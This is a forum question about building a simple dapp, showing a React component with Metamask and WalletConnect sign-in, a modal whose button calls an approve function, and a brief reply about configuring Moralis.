      backgroundImage="url('../bay.jpg')"

      >

        <Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => login({

           signingMessage: "Sign"

         })}

        >Sign in with Metamask</Button>

        <br />

       

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => authWalletConnect({

           signingMessage: "Sign"

         })}

        >Sign in with Wallet Connect</Button>

      </Flex>

      </>

  )

};

  return (

   

    <>

  {/* <MoralisProvider appId={process.env.NEXT_PUBLIC_APPID}

    serverUrl={process.env.NEXT_PUBLIC_SERVER_URL}>

    </MoralisProvider> */}

    <Head>

        <title></title>

        <meta name="description" content="" />

        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />

        <link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />

        <link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />

        <link rel="manifest" href="/site.webmanifest" />

        <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />

        <meta name="msapplication-TileColor" content="#da532c" />

        <meta name="theme-color" content="#ffffff" />

      </Head>

      <Flex direction="column" width="100vw" height="100vh">

          <Header user={user.displayName} logout={logout} isLoggingOut={isLoggingOut} />

          <Box flex="1" bg="purple.100" px="11" py="44">

            <Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">

              <Alert status="success">

                <AlertIcon />

                Wallet connected successfully {user.displayName}

              </Alert>

              <br />

              <Button onClick={onOpen}>Get it now!</Button>

              <Modal isOpen={isOpen} onClose={onClose}>

                <ModalOverlay />

                <ModalContent>

                  <ModalHeader color="purple">Be among the 1st 100</ModalHeader>

                  <ModalCloseButton />

                  <ModalBody>

                    <Image src="../.jpg" />

                  </ModalBody>

                  <ModalFooter>

                    {web3EnableError && <ErrorMessage error={web3EnableError} />}

    {/* <Button onClick={() => enableWeb3()} disabled={isWeb3EnableLoading}>Enable web3</Button> */}

                    <Button onClick={() => approve()} disabled={isLoading || isFetching || isWeb3EnableLoading}>

                      Get It!

                    </Button>

                    {/* {error && (

                    <Alert status="error">

                      Error: {error.message}

                    </Alert>

                    )} */}

                    {/* {data && (

                    <pre>{JSON.stringify(data)}</pre>

                    )} */}

                    <Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>

                      Continue

                    </Button>

                  </ModalFooter>

                </ModalContent>

              </Modal>

              <br />

            </Tabs>

          </Box>

        </Flex>

    </>

  )

}

export default Home

i am working on a simple dapp with feature like walletconnect, approve function to signing in with metamask

Can you remove this once and try to run your code again?

You can get the serverUrl and AppId after self-hosting a Moralis parse server, however it is not required if you are only using few functions from v1 sdk.